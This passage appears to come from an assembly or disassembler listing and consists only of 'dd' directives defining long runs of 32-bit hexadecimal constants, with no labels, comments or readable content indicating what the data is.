		dd 52A3D580h, 651928Ah,	2515DCE8h, 0F24C502Fh, 0E96A3068h
		dd 48226Eh, 75558145h, 2947FDCh, 0DE98EE54h, 30479140h
		dd 3E980E07h, 621FBAB8h, 1026E1FFh, 3948A03Bh, 0FE0040FBh
		dd 686DE51Ch, 0B960E894h, 15D05748h, 80749D8h, 694C2F00h
		dd 6447BF1Fh, 0EEA059C0h, 4F9686F4h, 94E88022h,	40C0C8FEh
		dd 26FB6259h, 0A3AD03B1h, 9547DB7Ch, 37EE38DEh,	93606D00h
		dd 15EB7836h, 407467DEh, 1A62125Eh, 60924444h, 88E99600h
		dd 0C55A6637h, 8862ED46h, 55878300h, 7ABDFA0Eh,	2E5C670Fh
		dd 0EBAC80DAh, 333AFF3h, 72273BA1h, 91E0FD6Bh, 7405FE47h
		dd 4522C580h, 0E967D001h, 1060B15Eh, 17312094h,	577D38C0h
		dd 9FDCFCCh, 195FE890h,	1A3B000h, 0C100BCE6h, 74598E35h
		dd 3A578EEh, 0C54F0E2Eh, 0A01F7065h, 85C91487h,	0E0148F60h
		dd 0C5543A98h, 840A4CC8h, 1533DA12h, 0FC7C3C28h, 0CA90CE5Ah
		dd 2980364Ah, 90822D38h, 544137D5h, 4EC0F765h, 0E2A1D74h
		dd 0C526B859h, 30A6DC4Ah, 80F86ACh, 9EA18478h, 8EF98490h
		dd 987CE88Bh, 7B730358h, 0DD65EFAEh, 354AC81Eh,	420778B0h
		dd 6EDC0594h, 8DE3D0F4h, 8F100h, 2447FD7Ch, 907C2C9Ch
		dd 0AF65C68Ah, 0E032E171h, 0A02EF606h, 0DE75583Fh, 0CE520D1Eh
		dd 0ACBE6864h, 0BC0900BAh, 2CC02013h, 807891C5h, 3E0E1839h
		dd 60FDC792h, 37171FE8h, 3CEEE2C8h, 0DA00A325h,	599F2251h
		dd 0E6015870h, 0E8097CF4h, 0DCE0B535h, 0D5F20175h, 6794E371h
		dd 0C533ABBh, 0EFC55402h, 0BA588086h, 18D03A8Bh, 28D1A894h
		dd 697845EDh, 10377830h, 28983160h, 0F8FC3451h,	25949EB1h
		dd 0C8046458h, 0BB17694Dh, 0B0A9D887h, 4AC74724h, 0A5E4C30Bh
		dd 750E959h, 0AFA08DFDh, 4094C77h, 35091BB0h, 4C6FC89h
		dd 0A8A02F7Dh, 9F1EC9F5h, 62C0893Eh, 0DC036C19h, 808A5DCEh
		dd 36F2416h, 1AC3F530h,	190BBDE3h, 0A2869CEEh, 44021F88h
		dd 0D9419B4h, 0C8F1A8C3h, 0E371D589h, 4B8CE07h,	0C541BD7Ah
		dd 302037AAh, 947926C4h, 30355Dh, 0DC2EE0E4h, 0CFE071BCh
		dd 18E46301h, 7C6948EDh, 0B20547F8h, 2C6A0110h,	0FAE7FB35h
		dd 3F32F1DEh, 19967007h, 9CF828F9h, 6D5B7202h, 263C46A4h
		dd 6AF4A736h, 21E500A8h, 0F6C57992h, 6A28B560h,	7358141Ch
		dd 2E267C61h, 0A864532Ah
		dd 4916F098h, 6211B03Bh, 3AA85061h, 9038175h, 58B8CD21h
		dd 0C9B5A852h, 0DE68C0E1h, 2D452588h, 0FCC04104h, 3DC001CBh
		dd 4C098A7Eh, 700B50EFh, 0CA5F194h, 99A4805Bh, 8E002BA1h
		dd 0B9E6C7FCh, 274493Eh, 0E4CFBCE3h, 0D0D315h, 78B1B0AEh
		dd 0AC00F293h, 29FAFC6Ah, 7A6F0092h, 0C523EC74h, 5892D512h
		dd 0ED28FF04h, 0B0C58C6Ah, 11218C0Ch, 0BFB0C55Eh, 3B4CC12Ah
		dd 0BD25C8ABh, 4B0845Dh, 6915C522h, 0BF1840FFh,	266379FBh
		dd 8A10305h, 1481FEABh,	9085AA80h, 8765B048h, 0C75D3766h
		dd 59188C94h, 1CEC4E2Eh, 71EBE3Ch, 779F58Dh, 7C88C234h
		dd 0C0B25061h, 107A603Eh, 880B36DAh, 2434D74Dh,	479448D5h
		dd 30886BFFh, 0BDA2E780h, 9108A405h, 39D4670h, 8585867h
		dd 2902D005h, 8240C094h, 637CF9F1h, 7133D72Eh, 9335D100h
		dd 9229ACC5h, 17772200h, 0FA4720C3h, 6810044Eh,	93FC9A0Dh
		dd 1ECEB6E8h, 187D5Dh, 2034CA5Fh, 9CEDB1h, 6F0B3960h, 83154288h
		dd 94EC59h, 0E5D7D32Eh,	2181FBFh, 826B60C5h, 68E94A94h
		dd 9F8C483Bh, 11740948h, 963FBCA3h, 9494AC25h, 34DB9489h
		dd 7030CFC8h, 4D67F6FBh, 69C60135h, 0AE479260h,	96D98AD3h
		dd 0CF0934F1h, 0DC5A45h, 93D93726h, 0E687B27Dh,	0AAED5E00h
		dd 0B9475AC1h, 839418C4h, 0D6FE38D7h, 522ED5B0h, 0BA1478B1h
		dd 0D0452488h, 0F8811505h, 2E00F41Eh, 8E51101Fh, 0FC920030h
		dd 0E5420AFEh, 0E25AFC8h, 9AF4005Ch, 0D699344h,	0EB71D6F2h
		dd 0C6900408h, 0A53E4884h, 10E826C6h, 0D9ED003Ch, 1118627Bh
		dd 747009B4h, 0D08F267Ch, 48241138h, 0D00C644Ah, 806DA067h
		dd 0F302B7FBh, 0B1C55EE1h, 287048D7h, 473581BEh, 0C45A82A4h
		dd 80448889h, 4B188C20h, 0C5644223h, 1840557Fh,	5E00B837h
		dd 0A50FDE8Bh, 116F6Dh,	0BD3DE0D2h, 0C24A55AAh,	6B008C9Ch
		dd 8B85EBFEh, 588D0021h, 0FA2AFC63h, 900B3687h,	2A284A47h
		dd 0D0219898h, 550A282Eh, 1DE1DCD1h, 782C71FEh,	860B354Ch
		dd 0B418B53Dh, 0A0C040D1h, 4E505A3Ah, 3B151890h, 7E0D201Dh
		dd 2D292E65h, 0A44748D1h, 94790460h, 834A0934h,	0FDA8CCACh
		dd 0F845513Bh, 0EEF6BF0Ah, 580CF4ECh, 5050A3h, 3EA1DB44h
		dd 94C24E6Fh, 60C09AE8h, 0DB64A2Dh, 9CF349A6h, 0FA003048h
		dd 4C80B4A8h, 0BF00492Dh, 6EBAD3FCh, 1A645C2Fh,	0C9DF94E7h
		dd 3F8A4C59h, 7208D07Ah, 8F5C29D6h, 0AC852854h,	7450CD24h
		dd 1A2C20C4h, 0F482C072h, 64FD1FCDh, 392824A4h,	591561B8h
		dd 4C2898BFh, 0C469CBE0h, 0EFB0E70h, 0B7CAE56Ch, 70FCE88Dh
		dd 9A009871h, 2FF60BA8h, 0CC813FE6h, 371F4447h,	30F61ADCh
		dd 0DEF00020h, 1328C3B7h, 61631ACAh, 40827038h,	52A6BDC4h
		dd 97B3683Dh, 4C64A020h, 0C4F4B44Ah, 0B8534692h, 0B70C385Eh
		dd 0B15F709Bh, 6A5E00F8h, 0C9602720h, 0B79DE800h, 0A6506684h
		dd 0B5A326A5h, 0BC163CDCh, 6D4004C7h, 31FC05EAh, 413850CCh
		dd 16CC622Bh, 0BC419E15h, 0E761DF82h, 0D78060h,	8BC59A1Bh
		dd 0ED3941ADh, 0F1F1BD71h, 7148204Bh, 7CE448h, 4A43CE90h
		dd 9D1362h, 5485D9AEh, 0A49D3DFh, 91028E05h, 880D2182h
		dd 84607862h, 532CF0EEh, 6513F455h, 1644DCC2h, 0BE13E1FAh
		dd 989884EEh, 6AF92CC5h, 1FD8A890h, 0FDB87950h,	0FEA8478Ch
		dd 900CED40h, 0B02C4FC5h, 0E8D7A0CFh, 8940C011h, 0B5D091BAh
		dd 6615DC12h, 283C14A1h, 28946405h, 5ED4600Dh, 0F6248C9h
		dd 972B099h, 8098FC89h,	5C4B51AAh, 9C0940C4h, 1B84E009h
		dd 0B08B323h, 2C095B03h, 0A8C00892h, 8058866h, 3F13C506h
		dd 2AA68D2h, 840A37B3h,	5D0904AAh, 0C4888D48h, 7F650498h
		dd 0E2118A15h, 52331224h, 5B804404h, 328548D0h,	28390EBDh
		dd 9854A965h, 0A8D92Ch,	4C6FE3DDh, 1513DFA5h, 8950974h
		dd 0B29ED300h, 2C94E567h, 88D08C01h, 0A9B2B33Eh, 0D148705Bh
		dd 0BDC0E4B8h, 0BE385FACh, 68AE08A0h, 0B8639D2Ah, 59D700A9h
		dd 6C045CF0h, 2CC4F94Ah, 0A0471842h, 20E844E7h,	5913AD09h
		dd 2C43664Ah, 0B057216Bh, 2C80D249h, 33C76CBh, 9F5EDA14h
		dd 1B94F988h, 2704CE4Dh, 0D0C08053h, 37C59835h,	0A08089E6h
		dd 4A88FF01h, 9C98654Ch, 135312h, 64275507h, 6947E5D0h
		dd 220B834h, 0E846A186h, 85E1915h, 0C7F50Eh, 0F748F2DAh
		dd 9C6CB999h, 8AC2C13Eh, 0D0DA7288h, 844909C5h,	0C4FF2414h
		dd 18A9F802h, 34FCE0AEh, 6D21037Fh, 337A655Dh, 0C568F494h
		dd 34A3442Ch, 0E7FC0269h, 82A0007Bh, 2A0A869Ch,	0A473EC8Dh
		dd 0F947AF02h, 2C4071F6h, 317A182Ch, 7332C52Ch,	49695098h
		dd 8850CA68h, 78205Fh, 0FCC0442Dh, 33DED126h, 0F41DBE2Ch
		dd 7DA0C506h, 6CDA1428h, 0ED81E8FFh, 2CE01552h,	43BA0F6Ch
		dd 0C4B1058Dh, 0FB21EC04h, 5029C4D2h, 9E672500h, 8CE89CA9h
		dd 0B488CCD5h, 3CB600F4h, 0BE4C6D12h, 0EC138031h, 0A041D215h
		dd 6B5ABDC9h, 923F2B20h, 0CF450428h, 84FD6833h,	8A21040h
		dd 0BF6B150Ch, 0A800E698h, 0CAB73D0Dh, 0CB0339h, 0F6635BEDh
		dd 4A3FA031h, 1512F898h, 405FA3h, 11E9C19Ch, 0B643002Dh
		dd 9521D1FCh, 627B5ACDh, 82E87209h, 64A4006Eh, 2EDEB98h
		dd 0C526139Fh, 0EC403D85h, 4003F38Bh, 7D1599BEh, 69580445h
		dd 9207479Ch, 0B4636A64h, 0BBE4A780h, 0A029BDF8h, 0C839DCEFh
		dd 9CA4CAB4h, 8162C93h,	5F6F2460h, 60F248C2h, 0A0046A28h
		dd 9A9B788h, 947A771h, 0CB09A478h, 6AF9399h, 1250BFE4h
		dd 292BF494h, 99C448CCh, 460340h, 737FBE9Eh, 0EDBDC770h
		dd 0B9C5670Ch, 3CE850h,	2C026436h, 4FE893FDh, 26F5201Fh
		dd 4315D480h, 5F4F862h,	9485A749h, 1678E804h, 0B0065DC0h
		dd 3BC06B30h, 7CCCEE48h, 94AEA1h, 6088C53Ch, 91B3208Dh
		dd 0B50E743Ah, 0BC04D1h, 4B36236Ch, 0A1680269h,	338C3D24h
		dd 0ED536D60h, 947D727Bh, 6408024Dh, 0A8E35DF8h, 6F885049h
		dd 8C2B0D06h, 88689C31h, 7102C09Ah, 0F0FB22E7h,	0B5D42064h
		dd 826F6D04h, 10C1E550h, 4500060Dh, 3E13D5D9h, 38008881h
		dd 0BCA170CEh, 3CCB05F5h, 0D0676E15h, 21BB4EF8h, 0B65B1378h
		dd 181F6060h, 0B0871F5Dh, 0EEFE0086h, 0D2CBC6ABh, 65163579h
		dd 0A44266A3h, 79BF715h, 0AC39B02Bh, 940FCBBDh,	815BBBCDh
		dd 33768D0Dh, 47A15882h, 0BC487DECh, 0A0FC4EAFh, 3B5E2900h
		dd 906D9EF7h, 0C32B1678h, 16640354h, 0BDB8473Ah, 0FFE4694Ch
		dd 4548654Ch, 4F844098h, 0D700B3FAh, 9AB444D0h,	97CA0F7h
		dd 3B9C47DFh, 0C05F40A2h, 0C6EDBC40h, 815C6FF8h, 0E04500A4h
		dd 94A13ABBh, 0DDB64058h, 0B7C34801h, 6E7E66EBh, 0F00A862h
		dd 602341E7h, 4F68E44Ah, 771EF018h, 50A85CA0h, 39DBA300h
		dd 65C854E7h, 2E54DA54h, 3A1C7CEAh, 283C9F97h, 0DA1C08C6h
		dd 78A5946Eh, 447000F8h, 0B32EF5E3h, 0BC9886D6h, 2643B220h
		dd 88186A3Fh, 7C054B89h, 0B884D726h, 28AC8C8Ch,	0ACC4665h
		dd 0AD9441CDh, 4A5C0398h, 0F80087D0h, 29A2AB3Dh, 7B6D4024h
		dd 125A0171h, 5BBEBDFCh, 85702CD0h, 98D07DFDh, 946D868Ch
		dd 2DFCE294h, 1C43CF11h, 82D49F65h, 39194C8h, 64E51116h
		dd 98489C46h, 4A470C08h, 480F4842h, 7C2CECA8h, 2500B854h
		dd 0ABEF638h, 0E60071F4h, 8DE00E58h, 212F123h, 47247EF8h
		dd 0CCC8D4BCh, 7400ABC6h, 0D73A27EBh, 7857B83Eh, 5CFCA0B1h
		dd 6942F63h
		dd 0A5855001h, 611C2065h, 7F2B9D02h, 4952584Ah,	1873B848h
		dd 3F166021h, 0B3DE1807h, 1463EB21h, 96D0023Ah,	30D1B55Eh
		dd 4138343Ch, 5E15C4B0h, 7C6081CAh, 0C5A464F6h,	0E9945F30h
		dd 0FD5D5B05h, 6512D46Ch, 0EA1823BAh, 0C4B8C8C5h, 8271CD27h
		dd 5FD2194h, 70F02D47h,	87254814h, 124864B1h, 97BC27C5h
		dd 99E5606Ch, 235C827Dh, 92810700h, 32C07776h, 0A033C3C6h
		dd 0A4119988h, 2215187Ch, 671478FCh, 231FACB0h,	0CA3A4465h
		dd 48595880h, 687E61B8h, 669A4947h, 68030028h, 0DBD59414h
		dd 627057h, 88EFE7B9h, 0A46F3B22h, 87B13F01h, 14FE8D08h
		dd 1249D434h, 1E445F15h, 957EC140h, 0C46D5429h,	3226613Ch
		dd 8F2620F5h, 0C06CDF1Eh, 6C6FA003h, 6A181EB5h,	300158B8h
		dd 3F0B80DFh, 22DE357Bh, 0D4F89468h, 0E48901A4h, 20DF7E8Fh
		dd 0C55C5D8Eh, 304CA2h,	84C76CCDh, 7EA636D2h, 94660968h
		dd 40C8E0E8h, 10003517h, 0C88B3DF9h, 850F0F5h, 0F8B34A55h
		dd 28A30F0Ch, 338794Dh,	0BF833DBAh, 0C0BD5559h,	0E8FF67B8h
		dd 3C5E48h, 276660EDh, 411E4A57h, 323082C7h, 2524F818h
		dd 109CB954h, 0C0421B7h, 80C16ED0h, 34BBFA9Fh, 22623Fh
		dd 0EE3AA670h, 9C2DACAh, 8511C5F9h, 6FFC1444h, 1AA6BE2Fh
		dd 0CA8C6828h, 9CDCBA23h, 2067007Ch, 0B82A4826h, 65B52409h
		dd 355410C2h, 6B5203C3h, 9ABF7CFEh, 95B8009Dh, 1593343Bh
		dd 11F27h, 0B6855CC4h, 0D959245Eh, 0D26C0D67h, 0E05C38C0h
		dd 2E4A5D59h, 8044FD9Fh, 16486DBFh, 0CD096A22h,	64E4F267h
		dd 9C66F648h, 7374094h,	0CB7DC02Eh, 0A9037101h,	0B84C8D2Ch
		dd 0C1D4BD03h, 0D3C1DCh, 752AC70h, 3EE6C6B6h, 0C44781B4h
		dd 12FC3CC0h, 68E0947Ah, 6D8020C5h, 0C715D609h,	134C027Fh
		dd 8EA08EBDh, 0CDCCF48h, 0C3C31165h, 0F7E79408h, 6CC7684Ah
		dd 4B6A0F83h, 4D45210h,	0D0BC4388h, 9D5B5CA8h, 0CD03F0BEh
		dd 25874A15h, 0F06EEE18h, 700EBD4Ah, 315B106Ch,	38FA6F7Ch
		dd 883C846Ch, 0BFEC0C17h, 0A0A04C98h, 0ACBE61CBh, 0F1D26137h
		dd 40D05E5Ch, 3C55F72h,	6113D09Ch, 4F5C5003h, 471CA0CAh
		dd 948A51B8h, 5284322Ah, 0C539AC78h, 38786032h,	165D3DE9h
		dd 5A6D5F3h, 0A25BFE68h, 96DA8268h, 0F6D0707Eh,	0D91160ABh
		dd 566CF749h, 0C6698E6Bh, 0BC462640h, 61791084h, 0A221C598h
		dd 35DE5087h, 0EE3BC04Ah, 0B11EF59Bh, 559E2C81h, 1FC08E87h
		dd 8050AAA0h, 60B0F2BBh, 86FB70F8h, 0C519153Fh,	0D7F8566Ah
		dd 8448DC3Ch, 78E9AF18h, 0E100C2BCh, 627883Dh, 15ED4A7Dh
		dd 0C45E6454h, 0D084CB89h, 80BF0BAFh, 0A8C559B0h, 4FC09C5Bh
		dd 309A7106h, 813DD80Bh, 2A660254h, 189E40B1h, 0CB31750h
		dd 0BF287455h, 0BF7D7044h, 0CE530D02h, 5F3C1C51h, 42C55091h
		dd 0CA177028h, 4480A882h, 2104678Ch, 12A9C523h,	415B2CACh
		dd 5A25A0E0h, 26F6D433h, 2E6B6F32h, 573C4928h, 0CB02FC68h
		dd 8A7E9845h, 62DA5063h, 0D41DC54h, 818BFCB8h, 3CEA896Bh
		dd 0CB107879h, 152D7A20h, 0ED544133h, 31138838h, 0D81C40A9h
		dd 3E5D42E3h, 568CEA49h, 45242700h, 0E31F1280h,	45506004h
		dd 1E8B404h, 16CDFCA6h,	709A83B9h, 783BBB64h, 2BF40348h
		dd 4F60B247h, 370C6138h, 387819h, 0C41C998Fh, 989D1366h
		dd 60C5FA54h, 368B2165h, 9C4B5847h, 4096422h, 67B0D064h
		dd 0B490B3EAh, 627CF722h, 119F09Ch, 0D08C5F01h,	97893BE0h
		dd 4190A8AAh, 52562FCAh, 7C893974h, 0D6C82080h,	0C52D273Ch
		dd 0CA1400C3h, 14980CE4h, 8C6A33F9h, 6D9535E0h,	3B245F50h
		dd 0F492B57Dh, 52ABC512h, 3C4074E1h, 46B8239h, 73C954CAh
		dd 8234AC37h, 45106547h, 0A7DB93E8h, 3EBC22B0h,	6C4CAA15h
		dd 0C52C2CD7h, 0A491D384h, 2EE9840Ch, 3E651C33h, 26FCF618h
		dd 13D45BC2h, 5C34C8DDh, 3087C69h, 752E3858h, 5E0D0160h
		dd 3E949505h, 0FE4880E9h, 682CA052h, 8636045Fh,	0DEDAC5h
		dd 7359179Fh, 11BC96BEh, 0C0805B83h, 9C9EC91h, 34F7C554h
		dd 0A1121C59h, 66F5B00Bh, 0D55C2094h, 5816BCE6h, 91F98Ah
		dd 0F982875Eh, 0C2C1C82Fh, 0FEFB9840h, 7E55A002h, 71D6CC94h
		dd 546A2714h, 18220386h, 0D95AC300h, 951ED76Ch,	0DA2D067Ch
		dd 786DBCBDh, 84DF6102h, 480B9A15h, 0B85A8D9Ch,	647859ECh
		dd 116CD74Eh, 60BB074Eh, 0BC006999h, 0AC3DE4CEh, 3E6086B7h
		dd 0CF006D21h, 0D5D3FE48h, 5B37C582h, 15B1E0A7h, 0C980953Eh
		dd 0E0D0A52Eh, 8149FB1h, 508C6F5h, 759478D9h, 7C5F8C44h
		dd 0DE8254BDh, 97626696h, 0E8439090h, 679039h, 0A63BC7FCh
		dd 4F1F9B50h, 0C1FCE01Bh, 0F4C318DFh, 0E2CA0BAAh, 30F4D021h
		dd 31914003h, 9BF0DCDFh, 0B0AA472Eh, 807EB743h,	0C350C1h
		dd 0FB8F3B4Dh, 5D6E1B5Fh, 502FD158h, 9419900Ah,	0EDB029B2h
		dd 586DFC40h, 0BCA1BF62h, 7FA347B7h, 8B834440h,	6F9FEC0Ch
		dd 18D3106Ah, 0ADD670D7h, 6B00EDF0h, 4DE61DC6h,	0E88ED876h
		dd 684E255Fh, 0F5BC00A0h, 15128B2Fh, 30C89AACh,	48980B35h
		dd 9464C80Bh, 0D24A5E0Ch, 1B4D1E7h, 0D471F686h,	232D7EC5h
		dd 0F0672848h, 47A42306h, 4B304CD9h, 22A0C56Dh,	13616528h
		dd 46E8A713h, 0F46C1F50h, 37FC53CAh, 6210E8E0h,	0EC840448h
		dd 8ADA0B80h, 930C30C8h, 0B2CBC189h, 738BC60h, 0C9E62EF5h
		dd 948BF87Bh, 57FC277Eh, 8E285289h, 258C9340h, 205C1460h
		dd 0C571FE06h, 16F860CEh, 4D59189Fh, 31E04CBCh,	84202FC8h
		dd 0E8AE57ECh, 8D2A09D2h, 7C004808h, 37A44A55h,	604B64B6h
		dd 3CC95FB8h, 0A02C7FD5h, 0B02F0080h, 0D2BB79F1h, 65DE3501h
		dd 91615A1h, 0D3238200h, 1300C4B8h, 6D352081h, 3B569B71h
		dd 0C4009F91h, 28EE2693h, 1539A985h, 0DECCCCDEh, 18C3CB0Bh
		dd 41BB9688h, 49AF20A7h, 8552A8C0h, 278341A2h, 0A861FD6Ah
		dd 494DD15h, 0B10A60FDh, 0FBCADEAh, 46A48EBDh, 109CA28Ch
		dd 5D785DEFh, 1D6AC42h,	0EB913094h, 0E11DF0A0h,	0B9BB8407h
		dd 0D80D582h, 5C7D95DDh, 0B01047Ah, 9F3F65ECh, 0F8D854F8h
		dd 40605818h, 66259428h, 3890C4C9h, 6A00A0FBh, 9446D74h
		dd 7CB0884Fh, 717B720h,	0DADDC8FBh, 8EC2429Fh, 55FD1448h
		dd 0D3E0E900h, 15D729F4h, 3070600Bh, 383A5D27h,	0E5962A00h
		dd 9CACE844h, 405CB8B3h, 7F244886h, 0CA979CC4h,	0D9247CD2h
		dd 2280BE40h, 8268DC5Eh, 0F0961DEh, 48EF258Dh, 3E2AE944h
		dd 0DB28EE9Ch, 0C8E800E8h, 8C3DD110h, 960BF18Dh, 0F4C0C56Ch
		dd 56E602C8h, 0DC53E4EFh, 15128C01h, 10828B89h,	3C47C75Ch
		dd 6E17A450h, 3090DA94h, 524585Dh, 1215A06Ah, 9C9892EDh
		dd 0B1579401h, 7A682880h, 695AB608h, 0C325EDE0h, 70C818D8h
		dd 145603A1h, 4DDD3160h, 4060C7F5h, 0C26BD5F9h,	9B20C00h
		dd 7A3705Fh, 8DC100F6h,	82F3C76Ch, 0DD3394F1h, 3E6B68CCh
		dd 4CC83988h, 0D1060E09h, 22007859h, 7BCE323Bh,	2A4A1659h
		dd 0DCCCB013h, 8B064939h, 231C7694h, 0C2C24C60h, 20045CFEh
		dd 4F6302DCh, 6915C1BDh, 0FC48AC58h, 0DF6E0052h, 8B3D29BBh
		dd 66831458h, 4600BC41h, 0DD885F39h, 0E927C5BFh, 0B8ECC897h
		dd 2E9D000Fh, 15D4A127h, 78B2B421h, 514A4D09h, 93E071D0h
		dd 9B4D968h, 0C142B9Ch,	0CCFC1398h, 15D63420h, 40BA4DB0h
		dd 0C5E5FE00h, 101F93BDh, 744FF712h, 29964F0h, 0BF091712h
		dd 90D8EF0Dh, 0D854EC30h
		dd 267B732Ah, 4A647596h, 50DE00C8h, 90158DF3h, 60C8E44Fh
		dd 64239747h, 94BFF27Ch, 0CA7320EBh, 0EF9D3C15h, 0CBCF2874h
		dd 0C52409CCh, 400B331Eh, 0DB7CE466h, 10BF4630h, 4AEE0A6Ah
		dd 1190CBCEh, 942753C1h, 7CF4B0C1h, 4A9810F4h, 54BC3064h
		dd 897F0E14h, 0F2E429EEh, 36471210h, 0CE6800BAh, 0FE34EBB6h
		dd 610C30B0h, 0F9710E15h, 0E00D092Fh, 7895F4Ch,	0B71004h
		dd 0B61AA870h, 303890C2h, 7C905545h, 2B7D823h, 52CA6140h
		dd 5D250008h, 843D9FC9h, 0FC006585h, 0AF3F1B2Dh, 0E6F66724h
		dd 20CC98EDh, 27488AE3h, 94F30484h, 98B20489h, 0CA0DF446h
		dd 41E03480h, 8F1D6007h, 249EBD18h, 188C9C46h, 34478035h
		dd 69F09363h, 6BE6F0F6h, 0E0CF5CF4h, 52C46C4Ch,	0EDC50724h
		dd 35E0BBD7h, 12D2560h,	5686D512h, 0BCE63E4Ah, 0C5A51F30h
		dd 0DB90D219h, 0B310282Dh, 0C4A0274Ch, 62EA00C8h, 5D704013h
		dd 2F0C4E0Dh, 285FA847h, 72280046h, 0D0BCCB0Eh,	8D00FDEAh
		dd 82E671F3h, 0E85D8BE0h, 1E74B052h, 0AF4A58B7h, 889A74E2h
		dd 161E3C5Ch, 0D96F18F3h, 0C89E62F7h, 0FCE40059h, 87BD1DC2h
		dd 3097934Bh, 7CE00F36h, 0EBE1F3D5h, 84D7838h, 0E6382582h
		dd 82D48F09h, 48EBF5Eh,	89490B8Ch, 3A5CD02Ch, 428048D4h
		dd 2EFC9150h, 342E7F8Fh, 8E011CB8h, 7C6D7DA6h, 0C06FDCC0h
		dd 71961C58h, 0A7393C4Bh, 0BD0D8BBAh, 0FD880B2h, 0F95F41B4h
		dd 3B93030h, 1F8D11B7h,	0C1A0C417h, 0F8537CC8h,	946C05B4h
		dd 0FCD0F463h, 0B9FC66A4h, 0BC05AD5Ch, 0B02485BDh, 987515B8h
		dd 0D175890h, 0FCC8CFC8h, 1FC51727h, 6DACD1C3h,	20D621EBh
		dd 0C7028618h, 0EBFABE2h, 6CC122BBh, 48046CD6h,	58EC7133h
		dd 7834A593h, 326348D8h, 526068C2h, 434713A4h, 0B9C04770h
		dd 0B095579Ch, 9F15DCFAh, 14C54Ch, 4C964AFFh, 0F858857Ch
		dd 2B0C967Dh, 8B942684h, 30ECD9A4h, 0D3258B0h, 8527E841h
		dd 0E0BC5248h, 0E47A5C25h, 10066727h, 3E6709Ch,	357ACCE2h
		dd 9AAB94BAh, 65AB511Eh, 1A23BC0Bh, 6D382128h, 22F9DF60h
		dd 0EEAF6430h, 3EC01C39h, 0DE0F00DAh, 35BF422Dh, 0DFF6C510h
		dd 5EE5AF0Fh, 84AB2309h, 0B3E4C052h, 48514330h,	2DC95994h
		dd 1C916C2Ah, 0F0C47879h, 0C78F2915h, 5067FF90h, 80309D89h
		dd 180BB48h, 77AB6EE8h,	52B214Ah, 17B43DA4h, 0F7780A60h
		dd 376932ACh, 0AB07CC66h, 72186255h, 85D8718Bh,	44250C94h
		dd 0D57D8D20h, 401CA5C0h, 0AD1C4994h, 0BC9AED09h, 919883D1h
		dd 284805F3h, 121754C5h, 13F45EC0h, 47508031h, 0CCA198CCh
		dd 0E7DC606Bh, 94DA8600h, 0A58945CFh, 0EC855CA6h, 2A84CD00h
		dd 7B1D1F95h, 6B4CA71Fh, 0C52B2500h, 1D5FAE1Ah,	26D7215h
		dd 82875636h, 62006C7Ch, 0B7DF01FFh, 6D2224F5h,	0F3F70EECh
		dd 0C05E6745h, 75733C6Ch, 98134890h, 14B0E180h,	2410BFCFh
		dd 0CD5EF994h, 0A49C1000h, 0F2D98413h, 60BD04B6h, 83D4A515h
		dd 86F9F364h, 3E9C286Ah, 50C0DB96h, 0C0B42894h,	988BA840h
		dd 74134AB5h, 7405B335h, 0F8F2ECF7h, 0EF92FDB0h, 340F1F02h
		dd 60E1605Fh, 76441Ch, 367A923h, 224B6D5Bh, 0ED467D07h
		dd 0A385E0BDh, 0D4B30816h, 4330A124h, 0D2FD15DBh, 407E2508h
		dd 56722E00h, 5F3C94DEh, 5C348CC0h, 24FC4551h, 30270D24h
		dd 0FC7C91D9h, 634CB916h, 0CE6D0780h, 0C0209BB3h, 508FBF10h
		dd 173F476h, 29A679ADh,	82026215h, 0DFC559F8h, 0BD06831h
		dd 9CB30078h, 0A7C6FCC2h, 8B12BFA8h, 6C5C5D47h,	0BE054CFh
		dd 67A4A4A5h, 8B10C4ECh, 0FD6E1E1Dh, 3C129E40h,	1E4FB0h
		dd 0D122E083h, 63970EABh, 0C15288C0h, 121A291h,	4FEE8AFDh
		dd 6033F51Fh, 2090C89Ah, 9E511700h, 0F77CAF1Bh,	54CA5C65h
		dd 20F209A1h, 5D005E00h, 0BA5296D4h, 5ABF87h, 5F1B716Dh
		dd 8B3D81FEh, 0E70052B8h, 67776555h, 256AF57Ch,	44824A5h
		dd 1CBFB523h, 104B4608h, 2D3ECE19h, 31FCC101h, 6078E2A5h
		dd 0F9021120h, 7CDFAA07h, 6F087C2h, 4BEFA09Ch, 0A30060F4h
		dd 8D2C1F67h, 5F8A2C9Ah, 0DB896C38h, 0CF20C808h, 5E951335h
		dd 0FFC4883Bh, 0A3DCD000h, 644FED3Ah, 1FFD007Ch, 98569615h
		dd 6F255B87h, 0B0CCE447h, 3AE940ACh, 0AF3C7174h, 6CEB2C55h
		dd 454E6C10h, 89D55D3Ch, 4F8D9F8h, 0C50D24A3h, 3A886C95h
		dd 0A000BC25h, 705C8136h, 506078EDh, 13BF0890h,	986233E8h
		dd 0BD245D2Ch, 44265C29h, 804C10A6h, 89B2F4Ah, 880408C8h
		dd 0C5665A1Eh, 0C428051Ah, 72D42748h, 0BC685884h, 0DC37D758h
		dd 0B0F20300h, 1FB10056h, 0A692D419h, 0D100FCE3h, 4844C478h
		dd 0C02B164Ah, 0CF0CAFC9h, 50982389h, 6A73A602h, 44DDBD02h
		dd 9CD62014h, 88A5712h,	8FA1FC05h, 619EAEC2h, 0FB024764h
		dd 45002866h, 835A5DEBh, 2EC586BDh, 80007FD6h, 58604114h
		dd 0E0065CD9h, 7A2815D8h, 9780B340h, 0D2C40735h, 0E8E9726Bh
		dd 0DC9C90C6h, 14A6249Fh, 20CAFC8Ch, 69470EBDh,	6A86285Ch
		dd 7050E064h, 0C52F5B18h, 0D7C800DAh, 80E72615h, 0B20063C3h
		dd 71E824F8h, 610F9464h, 3D7D7106h, 486C40B7h, 48B9B236h
		dd 0C2E4DCBBh, 505E8D0Bh, 0D1A101ACh, 6553FC47h, 0C023F70h
		dd 0D3A97415h, 47A10368h, 0A84A6B58h, 26A02046h, 99D51C10h
		dd 8EFDC493h, 0F850C0F3h, 8D07139Eh, 71792FF6h,	0B7211200h
		dd 45BD002Ah, 47D55469h, 2C908D4Eh, 5B231558h, 8EC92C80h
		dd 0EFEC00D6h, 0ED591767h, 1C13157Ch, 0BCF7E2EAh, 0F1E03286h
		dd 0CA0084B6h, 1FE7C0B5h, 0B60209FDh, 6800CD93h, 4F0B65F1h
		dd 0F5158A0Ah, 621E082Dh, 94290318h, 20E84FC7h,	0B90A0D84h
		dd 56146D00h, 3227F074h, 4DCE00F6h, 371C1FA1h, 0DA3A46A0h
		dd 0A79C8726h, 13C59002h, 0CB09E5C0h, 9CF78ACh,	0B0846E1Bh
		dd 7500880Fh, 47869AA7h, 22F24525h, 937D64h, 5C0C6A59h
